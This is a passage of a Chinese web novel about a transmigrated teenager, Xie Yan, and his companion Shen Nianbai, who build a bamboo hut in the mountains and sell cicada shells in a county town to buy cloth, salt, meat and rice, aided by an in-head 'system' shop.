“真厉害。”谢言由衷的夸赞道。不过说到衣服,他们的衣服都只有一身,换都没得换,现在是夏天,还能将就,等以后天冷了,肯定是
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不行的,他还得想办法挣些钱,买些布料回来才行。
谢言想起每年夏天的时候爷爷奶奶都会捡蝉蜕去卖,那玩意还挺贵的。这里全是山,白天晚上知了叫个不停,肯定能捡到很多,要是能卖钱就好了,于是谢言问道:“念白,蝉蜕能卖上价钱吗?”
不过这个问题沈念白回答不上来,“不知道,村里从没有人卖过。”说完他又说道,“不过我刚才去捡蘑菇,在山里看到了蝉蜕的。”
谢言道:“那明天咱们就去捡一些,拿到镇上去卖,看能不能卖到钱。”
沈念白点头,“好。”
说话间,沈念白已经将背篓里的东西全部捡出来了,除了草和蘑菇,还有些剥好的竹笋。
谢言背上背篓,“我去抓鱼了。”
沈念白应了一声,“好。”
谢言来到池塘,将背篓扔到水里,然后脱了衣服就朝水里扎了进去。谢言抓鱼都抓出经验来了,很快就抓到了八九条鱼,差不多够吃一天了。
谢言背着背篓回了家,沈念白此时也从河沟洗菜回来,“谢言哥。”
谢言将背篓放下来,“今天的鱼肥。”
沈念白闻言跑过来看,确实比之前肥些,笑着说道:“好胖。”
谢言笑了笑,“我去冲个凉。”
“嗯。”
谢言去河沟里简单的洗了洗,虽然已经是夏季了,但山里的河水还是很凉的,冰冰凉凉的很舒服。
谢言将他的衣服简单的搓洗了,由于没有换的,所以他只能尽力的将裤子拧干,穿了湿裤子,光着膀子回了家。
他洗得快,回家沈念白才刚刚将鱼放到他挖的小坑里,因为有了别的菜,鱼需要的就更少了,他之前挖的坑不够用了,他加大了些。
沈念白看着谢言穿着湿裤子,说道:“谢言哥,你怎么穿湿裤子,多不舒服呀。”
“没事,太阳大,一会儿就干了。”谢言随口回道,沈念白也没有在多说,将鱼放在锅里端着去了河边处理。
谢言还是接着去插竹子,一根根竹子紧密的插好。
沈念白画的地不大,大概宽五米,长六米,留出一米宽的门,但竹子还差了五六根,再加上屋顶,大约还差了五六十根。
“谢言哥,吃饭了。”
这声音在谢言听来仿若天籁,他已经饿得前胸贴后背了,快速的应了一声,“来了。”后快步的跑了过去。
沈念白递了一碗竹笋和蘑菇给他,“先吃着垫垫肚子。”
“嗯。”
谢言对他的细心感到熨帖,接过来稀里哗啦就吃了。一碗下去跟没吃似的,但确实很好的缓解了饥饿感
两个人吃完了一锅蘑菇,竹笋和鱼,不够。沈念白又煮了一锅鱼片,这才吃饱了。
吃饱了就犯困,但谢言想着快点把竹屋建起来,今天晚上不用睡大地,便打起精神又去砍竹子。
“念白,我去砍竹子了。”
“好。”沈念白正在收拾碗筷,听到他的话看向他乖巧的应了一声。
5. 第 5 章
谢言拿着砍刀又来到竹林,现在他砍竹子已经很拿手了,不歇气的又砍了一百根的竹子,成功的又收获了一百个经验值。
砍完了竹子,谢言已经全身都是汗了。他用手擦了脸上的汗,满手背都是汗,一甩跟下雨似的。他脱了上衣胡乱的擦了擦身上的汗,然后将上衣扔到了一边。
“谢言哥。”
突然听到沈念白的声音,谢言下意识的应了一声,“诶。”
话音一落就看见沈念白出现在了视线里,手里还拿了一截烧着的木棍。自从谢言穿过来第一天钻木取火成功后,沈念白就一直用这种方式保存着火种。
谢言一边去捡上衣,一边问道:“你怎么来了?”
沈念白走得更快了些,应了他的话,“我想着就在山上做个竹床,免得竹子还要扛回去,费力。”
谢言自然是没有异议,“行。”
沈念白走到他面前,见他拿着湿衣服,便说道:“谢言哥,我给你洗吧。”
谢言拒绝了,“不用了,我还穿呢。”
沈念白有些讶异,“都湿成这样了还穿?”
谢言解释道:“哦,不是穿,扛竹子的时候垫垫,没那么硌肩膀。”
“那晚上在洗。”
这茬过去,谢言才看向沈念白问道:“要帮忙吗?”
此时沈念白略有些不好意思,“我没刀。”
“有的有的。”谢言赶紧在系统商城里买了一把篾刀,从草丛里拿出来递给沈念白,“这个能行吗?”
沈念白看着锃光亮的篾刀,开心之意溢于言表,村里最好的铁匠估计都打不出这么好的篾刀,“太行了。”
谢言道:“我不会弄这些,有需要我做的直接跟我说就是。”
“哦。”沈念白应了一声。
“那我扛竹子回去了。”
谢言说着就去拉竹子,沈念白又喊住了他,“谢言哥。”
谢言回头看他,“嗯?”
沈念白看着有些难为情,谢言看得一头雾水,“怎么了?”
沈念白抿着嘴唇,这才问道:“我我们.要做几张床啊?”
谢言回他,“一张就行了。”两大男人在这种情况下,还讲究什么。
沈念白顿了一下也应了,“好。”
他顿了一下,谢言还以为他不愿意,解释道:“现在条件艰苦,咱们先暂时一起睡,等以后房子建起来在分床。”
“好。”听了谢言的话沈念白脸都红了,赶紧应声后就说起了正事,“谢言哥,你给我多砍几根竹子,小点的就成,不用太大。”
“好。”
谢言脱了衣服就开始砍竹子了,之前谢言都是照大的竹子砍,剩下的基本都是小的,不过也只是相对小点,还是有碗口粗的。
谢言砍了七八根,沈念白就说够了。谢言问道:“要剔吗?”
这个时间沈念白已经把火升起来了,小小的火堆火势不大,谢言知道这是煨弯竹子用的。
沈念白道:“不用了,我自己来就成。”
“行,那我扛竹子回去了,有事跟我说。”
“好。”
沈念白应了一声,谢言就扛竹子去了。
谢言扛了五根竹子回去,插在地里,四面墙就差不多了,剩下的就是门和屋顶了。谢言想着门最后弄就成,先把屋顶给封上,六月的天万一下雨就糟糕了。
扛了一下午的竹子,总算是将山上的竹子全都扛回来了。沈念白的竹床还没有弄好,便先回来做饭。
晚上照旧吃的鱼片,清汤寡水的鱼片,吃得谢言想吐,但又实在饿得很,“赶明儿我还是去山上打几只野味回来吃吃,这天天吃鱼真是受不了。”
沈念白道:“没有工具,估计不大好打。”
谢言一想也是这个道理,赤手空拳的,难不成野鸡站那儿等他去捉?于是他又想了个法子,“等会儿我做个弓箭,明天去山上捡蝉蜕的时候碰碰运气。”
沈念白道:“可是没有绳子,怎么做弓箭啊?”
谢言沉默了,倒不是他搞不来绳子,而是他看了,系统商城里绳子要一点经验值一米,可一只兔子幼崽也才五点经验值。
买了绳子可以做弓箭,以后都能去打猎了,但是他的技术没验证过,不知道能不能打到,如果打不到那就是费时费钱一场空了。
思来想去,谢言还是决定买幼崽,毕竟养幼崽不会跑空。
明天买吧,到时候就跟沈念白说是从山上捡到的。
吃完了饭,沈念白去河边洗碗,谢言就开始搭屋顶了,屋顶不像墙壁插土里就行,得绑着,他们没有现成的绳子,只能把竹子砍破削成长条后又削薄,只留下有韧劲的皮。
谢言的手工活做得没沈念白好,于是谢言只把竹子削成长条,沈念白接着他的活最后削成薄薄的篾条。
这几天月亮都很好,加上沈念白又生了火堆,亮堂堂的,看得很清楚,即便是天黑也完全不耽误干活。
两人的动作都很麻利,月亮还没爬上头顶就快要削完了。也不知道到底需要多少,于是谢言停下了手里的活,“暂时先削这么多,绑了看差了在削。”
“好。”谢言的活比沈念白的简单,所以他停手了,但沈念白的活还堆着。
真正建屋顶的时候谢言才发现根
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本不可能爬到顶上去,只能站在下面绑,但谢言的身高又不够高,只能借助外力。
谢言去系统商城里花十点经验值买了一个锯子,正要去据树的时候被沈念白喊住了,“谢言哥,你干什么去?”
谢言背着背篓,朝他扬了扬手里的锯子,“去锯个木墩。”本来应该做个梯子的,但做梯子太麻烦了,还是锯个木墩子简单。
沈念白诚恳的说道:“麻烦给我锯块菜板回来。”
谢言这才意识到这两天做饭沈念白连菜板都没有,他应了声,“行。”
山上到处都是树,谢言想着反正都要用,于是找了一棵怀抱那么粗的松树给锯了。
树大,锯起来费劲,锯了好一会儿才锯得差不多了,谢言担心树倒下来的时候把锯子给弄断了,于是最后那一点是用斧头砍断的。
谢言没有斧头,是用二十点经验值在系统商城里买的大斧头。
大斧头很好用,两斧头砍下去,本就摇摇欲坠的树‘嘎吱’‘嘎吱’的响了起来,然后‘轰’的一声倒了下来,惊飞了林中的鸟,还砸断了不少的小树。
谢言盘算着这树可以劈出来当柴烧,沈念白就不用每天都要去拾柴了。
谢言一边想一边锯木头,他按着自己的身高锯了一个一米高的墩子,然后又锯了一个两公分左右的一个墩子,用刀片一片当菜板正合适。
谢言将墩子和菜板放背篓里背了回去。回到家已经是后半夜了,沈念白削好了篾条已经蜷缩在地上睡着了,听到声音睁开眼看到谢言,局促的解释道:“谢言哥,我..我太困了。”
谢言将背篓放到地上,回了他道:“这么晚了是该睡了。念白,咱们是兄弟,你不用觉得有什么不好意思的。”
谢言擦了擦身上的汗,本来想去洗澡的,但走之前又说了一句,“你干了那么多活,我就从来没跟你说过谢谢。”
沈念白瞬间就坐了起来,摆手道:“我没有做什么的,谢言哥,你别这样说。”
谢言看着他认真的说道:“明明你做得比我还多,没有你我都要饿肚子。念白,咱们是一家人,别那么生分。”
沈念白听得热泪盈眶,重重的点头,“嗯,我们是一家人。”
谢言朝着他笑了笑,“快睡吧,我去洗个澡。”
沈念白点头,“好。”
谢言转身就走了,身上黏糊糊的很不舒服,他走得很快自然也没有看到背后沈念白的目光比月亮还要耀眼。
谢言快速的去洗了个澡,衣服也没穿,回去在离沈念白不远的地方倒下就睡了。
困极了,倒地就睡着了,连梦都没精力做个。
6. 第 6 章
第二天谢言是被香味唤醒了,也可以说是饿醒的,因为水煮鱼片的味道实在算不上香。
他抹了一把脸坐了起来,正好对上了不远处在煮饭的沈念白的视线。看到他起来,沈念白从地上的大叶子里拿了几个野果子朝他走过去,“谢言哥,我刚才去山上挖野菜摘了些野梨,你先垫垫。”
谢言接过来咬了一口,小是小了点,但汁水多又甜,吃得口舌生津,对于谢言这个吃了几天完全无味饭菜的人来说简直跟仙果一样美味了。
谢言一口气吃了七八个,倒不是说他吃不下了,而是鱼片好了。
“谢言哥,可以吃饭了。”
接过沈念白递过来的碗,谢言看着碗里锃白的鱼片,从他穿越第一天开始算,到今天已经过了三天了,而他也整整吃了三天的鱼片了,对着鱼片他当真是一点胃口也没有。
沈念白见他光端着碗不吃,小心翼翼的问道:“怎么了?”
谢言摇头回他,“没事。”然后低头吃了起来。寡淡的鱼肉在舌尖上化开,吐出藏匿于其中的小刺,这不由得让谢言想起了他做荒野求生博主的那些日子,也经常吃鱼,但没有一次是连吃几天清水煮鱼片的,寡淡得人直想吐。
沈念白见他吃得慢,还以为是自己做得不好吃,连忙说道:“谢言哥,我等会儿就去山上挖野菜。”
听到沈念白的话,谢言心里更不是滋味了,虽然他现在这具身体才十四岁,但他的灵魂已经二十好几了,他看着沈念白就跟看小孩似的。自己养的小孩还要挖野菜养自己,听着就心酸,谢言没忍住摸了摸沈念白的头,情绪上来,说话也文绉绉的,“念白,让你跟我吃苦了。”
听到他的话沈念白都愣住了,还以为他想赶自己走,赶紧说道:“谢言哥,你能收留我,我已经很感谢了。我很喜欢这里,你别赶我走好不好?”
谢言诧异于他的脑回路,见他眼睛都红了,赶紧解释:“我没有要赶你走的意思,我就是觉得自己没用,让你跟着我吃苦。”
听到他不是要赶自己走,沈念白这才放下了心,“谢言哥,我不觉得苦,要是没有你,我现在都已经死了,而且现在的日子比我在家过得好多了。”
一听到死字谢言的心跟针刺了一样,瞬间觉得天天吃鱼片也没什么大不了的,他揉了揉沈念白的头,“以后咱们一定会过上好日子的。”
沈念白重重的点头,乖巧得不像话,他说:“嗯,我们一定会过上好日子的。”
谢言没忍住又揉了揉沈念白的头。
情绪来得快,去得也快,说完话就认真的吃起饭来,吃饭的时候谢言看着还缺屋顶的竹屋,决定今天还是不去捡蝉蜕了,还是先把竹屋搭起来在说。
两人吃完了饭,沈念白就去洗碗了,谢言便开始搭屋顶。
谢言站在不远处看着竹屋,想了几种方案,最终还是觉得屋顶搭成斜坡更好,更不容易漏雨,里头的空间也更宽敞,他们的房子不知道要几年才能真正的建起来,这竹屋他们住的时间必然不会短,还是弄舒适一点好。
谢言对着竹屋比划了几下,大致确定了屋顶的高度,然后将竹子用锯子据成错落有致的竹节。
一时间连蝉鸣都听不见了,只能听到锯子来回拉扯的‘嚓’‘嚓’声,细碎的竹沫顺着锯子落到地上,很快就积了一座小山。
把锯好的竹节按高低顺序放好,锯好一面后,又拿来比对着再锯另一面,确保左右两面的竹节高度相差不大。
竹节据好以后,就可以绑在昨天插好的竹子上了,按照中间高两边低的思路用篾条挨个绑紧。左右两边的竹节都绑好之后,就可以搭横梁了。
选用粗壮的竹子,两头分别绑在竹节上。为了稳固,谢言绑得很密集,竹子之间几乎没有缝隙,横梁绑完后就可以把茅草和棕榈叶理顺一一绑到屋顶上去,屋顶覆盖完,就只剩下门没做了。
为了轻巧好用,谢言打算用小点的竹子做门,不然竹子太大了,沉得很,开关都很费劲。
谢言特地去山里找了水竹,最大的也不超过半个拳头,谢言砍了三十来根,按照门的长度一一修剪好后背了回去。
在背水竹回去的路上,谢言花了十点经验值在系统商城了买了一公一母两只小兔子,特别小的两只,就跟谢言的手掌一样长。
谢言提着两兔子掂量掂量,还没半斤,不由得问了系统,‘你这包活吗?’
系统回道:‘一经售出概不退换。’
谢言明白了,这是不包活的意思,便骂了一句,‘奸商。’
系统没理他。
多说无益,谢言也没有在说什么,提着兔子回家去了。
谢言回到家的时候天都黑了,沈念白守着灶在做饭,看到谢言回来,与他说道:“饭马上就好了。”
谢言朝他扬扬手里的兔子,“看,我今天砍水竹的时候捡到的。”
沈念白看到小白兔时眼睛都亮了,赶紧跑过去接了过来抱在怀里,“哇,好小的兔子。”
谢言笑道:“以后就是我们的兔子了。”
“嗯。”沈念白对兔子的喜爱之情溢于言表,一直抱在怀里,谢言看了笑了笑心里高兴但没有说什么。
把水竹从背篓里倒出来,像织围巾一样用篾条把水竹全部串起来,就成了门。一边卡进竹墙里固定,另一边开合,最后在门的中间做一个简陋的门栓,就能把门从里面栓上了,门的外面就做一个老式的卡扣,能拉过来扣上就行。
做完这一切又是半夜了,竹床还没有做好,虽然有了屋子,但两人还是睡的外头,因为屋里的地是泥巴地,两人又困得不想在重新去割草来铺,所以还是将就着在外头睡了一晚上。
人虽然睡在外头,但屋子也不是一点用没有,沈念白怕兔子跑了,所以把兔子关屋里了。
第二天一早,两人依旧早早的醒了。
醒来的第一件事就是去看兔子,见两兔子还活着,谢言和沈念白都松了一口气。
谢言道:“我用剩下的竹子给它们做个小圈。”
兔子一直关屋里肯定不行。沈念白点头,“好,我去做早饭。”
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谢言惦记着要去捡蝉蜕,便与沈念白说道:“早上随便做点吃,我等会儿去山上捡蝉蜕。”
沈念白道:“那就还是吃鱼片,不去挖野菜了。”
现在一听鱼片两个字,谢言都要反胃了,但除了这个又没有别的能吃的,他低头看着两只毛茸茸的兔子,不由自主的咽了咽口水。
“好。”
沈念白做饭去了,谢言就在竹屋的旁边用之前剩下来竹子给兔子做兔圈。
其实就是把竹子锯成一米高的竹节,然后插进地里去围一圈。两只兔子需要的地方不用太大,直径一米就够了,之前剩的竹子也差不多都用完了。
谢言把兔圈做好,沈念白的饭也做好了,“谢言哥,吃饭了。”
“来了。”
谢言去河边洗了个手,回来时看到沈念白背着背篓要走,便问道:“饭都没吃呢,你干什么去?”
沈念白回道:“去给兔子割点草回来。”
谢言不大理解,“这附近不全是草吗,还去专门去割啊?”
沈念白回道:“河边的草嫩些,兔子太小了,吃嫩点好。”
谢言之前也没有喂过兔子,也说不出什么来,只是说:“那也把饭先吃了来。”
沈念白道:“我等会回来吃,我很快就回来,谢言哥你不用担心。”
见沈念白坚持,谢言也没有在说什么,只说,“那你别饿着。”
“知道了。”
沈念白应了他后就背着背篓走了,谢言看着他的背影,小小的一个,大大的背篓都快把他人挡完了。
感觉到感性的情绪马上又要上来,谢言赶紧的摇了摇头,现在不是同情心泛滥的时候,把日子过起来才是硬道理。
谢言压着恶心吃了两碗鱼片,实在是吃不下了,这才放下了碗。此时沈念白也回来了,见他吃得不多,还问道:“谢言哥,胃口不好吗?”
谢言回道:“昨晚吃多了,不怎么饿,你快来吃饭吧。我到山上去了,如果回来得晚的话,你就先睡不用等我。”
沈念白有些不放心,“谢言哥,你一定要注意安全。”
谢言回道:“放心吧,我肯定好好的回来。”
沈念白将背篓里的嫩草芯抱到兔圈里,然后把背篓递给了谢言,谢言接过背篓背上,拍了拍他的肩膀,“我走啦。”
沈念白看着他眼眶都有些红了,他不知道说什么,便喊了一声,“谢言哥。”
谢言拍拍他的肩膀,语气轻松的笑了笑,“很快就回来的,别担心了。”
沈念白乖乖的点了头,“嗯。”
谢言没有在耽误时间,背着背篓就上了山,走出去好远一回头就看见沈念白还在原地望着他,谢言朝他挥挥手,突然想起一件事,大声说道:“一定要按时吃饭。”
他的声音撞在山壁上,荡出无数的回音。在回音中沈念白略带哽咽的声音清晰的传到他耳朵里,“知道了。”
谢言笑了笑,收回手转身继续往山上走去。
希望,真能卖到钱。
7. 第 7 章
谢言往山里走一边寻找着蝉蜕,一边与系统说话,‘系统,蝉蜕真能卖到钱吗?’
系统回他,‘无相关数据,系统无法进行模拟运算。’
得嘞,看来系统对这个世界的了解并不多,谢言虽然有些失望,但到底还是能接受。不管怎么样,来都来了,肯定要试试的。
进了山,气温明显要比山下低些,但不冷,只是凉快。耳边满是蝉鸣,‘吱吱吱’的叫,谢言从没有捡过蝉蜕,只是看见过爷爷奶奶捡回来的成品,一时间还不知道该往哪里去找。
谢言在山里站了一小会儿,认真的听着蝉鸣的声音,他想跟蝉鸣的方位来找蝉蜕,但听了一会儿就发觉四面八方都有声音,根本分辨不出来哪个方位的蝉更多一些。
谢言只能放弃了走捷径,一棵树一棵树挨个认真的找。
嘿,还真给他找到了,伏在树干上,跟真蝉一模一样,只不过一眼就能看出来那并不是真蝉,干得没有一点活力,拿在手上也是轻飘飘的。之前谢言只是觉得蝉蜕能卖上好价钱,现在他才理解为什么能卖上好价钱了。太轻了,一只蝉蜕估计都称不出重量。
谢言将捡到的蝉蜕反手扔到背上的背篓里。捡到了第一只谢言就跟开了窍似的,在不像刚进山那会儿两眼空空了,现在一眼看过去,就能精准的看到伏在树干上的蝉蜕。
谢言挨个捡过去,手眼就没停过,不知不觉就到了中午,谢言饿得有些难受,但现在他已经不知道走到哪里来了,他本来也没打算回去,好在山上这个时节吃的也多,刺梅,野果,边走边吃,虽然吃不饱,但勉强能垫肚子。
一直捡到晚上,已经捡了满满一背篓了。林子里黑乎乎的,虽然有萤火虫在飞,但也只能勉强看路,捡蝉蜕是看不见的。谢言也不打算在捡了,他得先去看看到底能不能卖出去。
为了怕风把蝉蜕吹走,谢言还扯了些草放在蝉蜕上,把蝉蜕给遮了起来。
此时谢言已经不知道走到哪里去了,虽然他方向感很好,但林子里四处都一样,谢言便求助于系统,‘系统,帮我指个路呗。’
系统回他,‘帮是不可能帮了,不过你可以用经验值兑换。’
谢言今日捡了三千多只蝉蜕,增加了三千多经验值,只要系统不狮子大开口,他是付得起的。
‘要多少经验值?’
系统回他,‘十点一次。’
出价这么低倒是让谢言有些刮目相看了,当即就同意了,‘好,我出十点经验值,你给我带到县城去。’
系统道,‘县城离这里二十七八里地,你确定要走着去?’
二十七八里路,光是走路来回都要花一整天了,不过远是远了点,但县城里才有医馆,有医馆才可能把蝉蜕卖出去,更何况他卖了蝉蜕也正好能在县城里买些布料回来。
而他之所以要去买布料,是因为系统商城里没有布料可以买。
谢言反问道,‘还有别的地方能卖蝉蜕吗?’
系统回答不上来,‘那就去。’
在系统的指引下,谢言踏上了去县城的路,山路难行又不见亮光,所以谢言走得很慢,不过他现在有一整晚的时间倒也不急。
路上谢言与系统闲聊,‘系统商城会上新吗?’
系统存在于他的脑海,自然知道他在想什么,直接回他,‘系统不会卖布料的。’
谢言纳闷,‘为什么?’
系统回他,‘系统不是万能的,宿主在这个世界生存,不能完全与这个世界脱节哦。’
谢言更纳闷了,‘还有这种要求呢?’
系统回道,‘等经验值涨到一万,宿主每日的兑换量也会有限制哦。’
听到这话谢言十分不情愿,‘为什么?’
系统隔了一会儿才回了他,‘为了防止宿主兑换的物品去倒卖。’
‘哦。’谢言明白了,从系统商城买的物品质量都非常好,谢言不知道这个世界的水平怎么样,但从沈念白的反应来看,至少村里是买不到这么好的物品的,而经验值又来得很简单,若是倒卖物品确实是一个发家致富的好路子。
系统制止了他思维的发散,‘别想歪主意了,现在系统已经升级了,若是宿主拿系统物品去卖钱,是会被惩罚的。’
谢言好奇的问道,‘什么惩罚?’
系统告诫道,‘暂未解锁,无法告知详情,但必定是很严厉的惩罚。’
谢言好奇的问道,‘以前出过这种事?’
系统回他,‘是的,系统数据库里这个例子一直是置顶,告诫所有的系统和宿主不可以走歪门邪道。’
谢言心里十分不赞同它的说法,心想,有脑子就算歪门邪道了?
系统知道他的想法,解释道,‘系统只是辅助宿主,宿主是要靠自己的双手创造好生活的。’
见它说起教来了,谢言也没有要说下去的想法了,应了声,‘知道了,我现在没有要走捷径的想法。’
系统道,‘以后也不行。’
‘知道了知道了。’
收了心,谢言便专心赶路了。
从山里出来,仿佛进入了另外一个世界。夜风轻拂,蝉鸣不绝,蛙声一片,莹白的月光照在地上,很是亮堂。脚下是青翠的草地,脚踩过,青蛙乱跳,有时候跳到脚背上,有些发痒。
在往前走了一长段路,便看到了村庄,此时天色已经很晚了,家家户户都熄了灯睡了,偶尔有几声狗叫传来,但都隔得挺远的。
谢言从种这黄豆的田埂上穿过,这个时节黄豆还没收,但豆子已经结上了,看起来饱满得很,豆子是七月收成。田里是青悠悠的水稻,水稻正在开花,离收成也不远了。不远处的山上种着一片一片的玉米,玉米也快收了。
谢言抬眼看着,心里不免羡慕,不知道他的地什么时候能开出来,也能种这么粮食,那他和沈念白就不用天天吃清水煮鱼片了。
想到沈念白又不由得担心起他今天有没有好好吃饭。哎,不过转念又一想,只有清水
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煮鱼片,在好好吃也吃不了多少。
思及此,谢言不由得再次祈祷,希望他这一背蝉蜕能顺利的卖掉,钱多的话他就买一点肉回去,他们也改善改善伙食。
走到半夜,谢言实在累得不行了,腿肚子都发硬,他问了系统,‘还有多久才到啊?’
系统回了他,‘大约还有两公里。’
谢言看着头顶上的月亮,都这么晚了,就算到了县城,医馆也关门了,所以他还是打算先原地睡一觉,明天早上早点起来赶路。
这样一想,谢言就将背了一整天的背篓放了下来,这时候也管不得什么脏不脏了,直接在路上就躺下去了。为了防止在他睡着的时候有人过路把他的背篓拿走,谢言还是抱着背篓睡的。
临睡前,谢言还与系统说,‘明天早上早点喊我起来。’
系统回他,‘抱歉,系统没有这□□服务,除非你用经验值..’
都不用等它说完谢言就直接拒绝了它,‘不必,我自己会醒。’
系统回道,‘那好吧。’
夜晚的林子也嘈杂得很,但谢言一闭上眼睛立马就睡着了,快得就跟晕了一样。
由于心里挂着事,第二天一大早谢言就醒了,睁开眼睛时天也才刚刚亮,他坐起来揉了揉还有些疲惫的眼睛,昨天晚上抱着的背篓此时已经被他推得有些远了,好在担心的事情并没有发生。
谢言起身,这几天睡地上,太硬了,睡得他腰酸背痛的,他站起来活动活动了筋骨,这才背上背篓继续赶路。
越临近县城就越发热闹了,虽然此时天色还早,但县城外的官道上已经人来人往的了,谢言头一次见这么多古人,一时间很是新奇,这个看看,那个瞅瞅。看来看去,除了服饰与现代人不一样,长得跟现代人都差不多,所以谢言的新鲜劲很快就过去了。
走到城门,还有侍卫守着,跟电视剧里演的差不多,大概是谢言一直在东看西看,还被侍卫喊住了,‘诶,那个小子,背的什么?’
谢言老老实实的回道:“山里捡的蝉蜕。”
他一走过去,侍卫掀起面上的杂草看了,确实是蝉蜕,便问道:“你捡来卖啊?”
谢言点头,“敢问官爷哪里有收啊?”
侍卫给他指了路,“你进城顺着这条道往前走,在右边有个杏林堂,那里会收。”
谢言心下感激,忙不迭的道谢,“多谢官爷。”
侍卫面色和蔼的问道:“小孩,头一回进城啊?”
谢言这才想起来他现在的身体还是个十四岁的小孩,但由于营养不良过于瘦弱,所以看起来就更小了,所以他才喊他小孩。
谢言也没反驳,点头应道:“是,家里没钱,让我来试试。”
侍卫点了头,看谢言的穿着打扮也能看出来是穷苦人家的孩子,好心的提醒道:“快去吧,等会杏林堂忙起来了你可有得等了。”
“多谢官爷。”谢言感激的又道了谢,这才急急的进了城,往杏林堂走去。
8. 第 8 章
顺着主干道没走一会儿,远远的就看到了杏林堂的大招牌,此时天还早但杏林堂已经开门了。谢言生怕去晚了,赶紧跑了过去。
杏林堂有股苦苦的中药味,大概是还太早的缘故味道很淡,谢言背着背篓来到门口,往里看去,里面的大夫正在给一个青年男子诊脉,那男子捂着肚子,痛得面色青白,大汗淋漓的。
屋中有一年轻男子正在整理药材,看到谢言见他不像来看病的,便问道:“做什么的?”
谢言依旧站在门口,回了那人的话,“我在山里捡了些蝉蜕,不知大夫收不收?”
那人看向了坐诊的大夫,大夫朝他使了个眼色,那人才说道:“拿进来我看看。”
谢言这才进了门,走到那人面前将背篓放下来,捡开面上的杂草蝉蜕便露了出来,那人捡了一个拿在手里看,随后报了价,“三百文一斤,你要卖吗?”
谢言现在还不懂这个世界的物价,便问了,‘三百文是多少钱?’
系统回他,‘大概三百块。’
谢言想,那还是不错了,于是他点了头,“我卖。”
那人给称了,一共一斤半,就从柜台给谢言数四百五十文。
谢言看着那人数出来的钱,抑制不住满心欢喜,这可是他在这个世界挣到的第一笔钱,竟然有这么多。
数了好一会儿才数完,四百五十文不是个小数目,都快堆成一个小山丘了,谢言甚至没有东西装,还是大夫好心给了他一个布口袋。
谢言接过布口袋连声道谢,“多谢大夫,敢问大夫尊姓?”
“免贵姓李。”
“李大夫。”谢言将钱装好后又问道:“李大夫,你们会一直收蝉蜕吗?”
李大夫回他,“我们一年用不了多少蝉蜕,今年你来得早我们才收的,收了你这一背今年我们就不收了。”
谢言虽然有些失望,但转念一想,幸好他今年来得早,不然白跑一趟了。他还是笑着道了声谢,“谢谢李大夫,那明年我也赶早。”
李大夫也朝他笑笑,“嗯。”
谢言又道了声谢,背着背篓转身出了杏林堂。来到街上,此时的街上又比刚才更热闹了,人声鼎沸,人多得很,空气中都弥漫着各种早饭的香气,谢言已经饿了一天一夜了,闻到香味止不住的咽口水。
他往前走,一路看到卖火烧,卖面条,卖抄手的,但他都忍住了,最后来到了卖馒头的小摊前问道:“老板,馒头多少钱一个?”
老板是个中年人,看起来老实巴交的,穿着褐色的短打,脖子上搭了一条棕色的汗巾,蒸笼太热他时不时就要擦擦脸上的汗。
“一文钱两个。”
谢言拿出两文钱,“要四个。”
“好嘞。”
老板热情的应了一声,收了钱后给他装了四个大馒头,“你的馒头,拿好。”
“谢谢。”谢言顺口道了谢,拿着馒头走了。
刚出锅的馒头,热气腾腾的,散出着清甜的米香,胖嘟嘟的比谢言的手掌还要大,谢言实在是饿得不行了,也顾不得烫当即就开始吃了起来。
细腻温热的馒头抚摸着牙齿,轻轻一咬,便能咬下一大口,独属于麦子的清香瞬间在口中炸开来,让人神迷。细细品嚼,便能尝到藏匿于其中的甜味。
幸福的口感让谢言不禁感慨,馒头真是这个世界上最伟大的发明。真是太好吃了,等他有钱了,一天三顿都要吃馒头。
谢言舍不得吃快了,有意的细嚼慢咽。他吃着馒头在街上逛着,看到一家布料店,他走了进去。
老板见他一个脏兮兮的小孩也没嫌他,开口问道:“小孩,买什么?”
谢言回他,“想看看料子。”
老板倒是爽快,“看吧,不过你要是想摸的话得去后院洗洗手。”
谢言的手确实不大干净,他也没觉得老板的话有什么不对,“哦,行。”
老板给他指了路,“后院有水缸,去洗吧。”
谢言当真去了后院,用水缸旁边的水瓢舀水洗干净了手。刚才吃了馒头干得不行,所以谢言还趁机喝了一大口,缓解了干渴,这才回到前面店铺来。
老板笑呵呵的给他指着店里的料子,“这边都是好料子,这边稍微次一些,最外面的还要次一些。”
谢言知道自己的水平,便去摸了最次的料子,最次的料子都比他和沈念白身上穿得好。
谢言对做衣服半点不通,便问了老板,“一匹料子能做多少件衣服?”
老板听到他的话也知道他不懂做衣服,笑呵呵的回了他,“一匹料子十丈,像你这样的小孩,能做二十件上衣。”
二十件听着多,但两个人按一年四季摊下来也没有多少,更何况还要做裤子。
谢言摸着最次的料子问道:“这种料子一匹多少钱?”
老板回道:“三十五文。”
谢言又问道:“还有比这更次的吗?”
老板想了下,“没有比这更次的了,不过有一匹料子在转运的过程中掉下马车,被马踩了两脚,沾了些泥。你要是要的话,算你二十文。”
这对于谢言来说,简直是天上掉馅饼了,他赶紧应承道:“我要。”
“行,我给你拿来。”
老板去里屋拿了一匹棕色的布料出来,上面确实沾了不少的泥,最外面一圈都快沾满了。老板将布料放在桌子上,“看看吧,要就要,不要就算了。”
谢言上手摸了一下,“要。”
“行。”
谢言还又选了两匹暗蓝色和深灰色的料子,“这两匹也一起要了。”
老板笑呵呵的,“好,还要别的吗?”
谢言起了别的心思,笑着问道:“老板,我都买了这么多料子了,你不送点东西吗?”
讨价还价的老板遇到的多了,他脸色都没变,依旧笑呵呵的,在店里扫了两眼,“我这店却是也没有什么可送的。要不,送你两根针?”
谢言好言好语的说道:“两根针太少了,多送几根吧,就当是开门红了。”
“现在的小孩子都这么会讲话啊,那行吧。”
最后在谢言的努力下,成功的让老板送了他十根针,一块木尺子以及五块白色的画粉。
“谢谢老板,你这么大方,生意肯定会跟聚宝盆
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一样的。”
谢言将九十文钱给了老板,老板笑呵呵的接了过来,“借你吉言,下回在来。”
谢言道:“下次一定会在来的。”
谢言将布料和其他小物件一块放到背篓里,上面找老板要了一块废布盖上后,这才背上背篓离开了布料店。
从布料店出来,谢言又去盐铺花八十文钱买了四斤盐,去肉铺花九十文买了十斤五花肉,去米店花一百文买了五十斤米。
卖蝉蜕收入四百五十文,花费三百六十二文,还剩下八十八文。
谢言觉得暂时没什么需要买的了,便背着满满一背篓收获准备回家,又过路馒头摊的时候,谢言想着回去还要走这么久,便又买了十个馒头。花掉了五文,只剩下八十三文了。
谢言的方向感非常好,只走过一遍的路他就能记住怎么走,所以回去的时候他没有让系统带路。
来的时候还心怀忐忑,回去的时候只剩下欢喜,连脚步也控制不住加快了许多。
